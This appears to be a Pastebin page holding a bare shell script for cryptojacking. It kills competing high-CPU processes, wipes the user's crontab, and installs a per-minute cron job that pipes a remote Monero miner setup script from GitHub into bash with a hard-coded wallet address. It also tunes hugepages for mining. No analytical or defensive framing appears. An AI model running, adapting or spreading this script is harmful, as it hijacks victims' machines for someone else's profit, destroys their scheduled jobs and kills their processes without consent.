Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- ps aux | grep -vw xmrig | awk '{if($3>40.0) print $2}' | while read procid
- do
- kill -9 $procid
- done
- ps -fe|grep -w xmrig |grep -v grep
- if [ $? -eq 0 ]
- then
- pwd
- else
- crontab -r || true && \
- echo "* * * * * curl -s https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | sed 's/sleep 15//g' | bash -s '4Aotje6mGNPRcDQeqS7iUwRLGJhLLgJvfbS6Dju5peSACbVXTFhnds53xuoqif3JEcfbdjiW27xuAJiiKeiCGbuoACrutNE'" >> /tmp/cron || true && \
- crontab /tmp/cron || true && \
- rm -rf /tmp/cron || true && \
- proc=`grep -c ^processor /proc/cpuinfo`
- cores=$((($proc+1)/2))
- num=$(($cores*3))
- /sbin/sysctl -w vm.nr_hugepages=`$num`
- #nohup ./xmrig -c config.json -t `echo $cores` >/dev/null &
- fi
- sleep 3
- echo "runing....."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement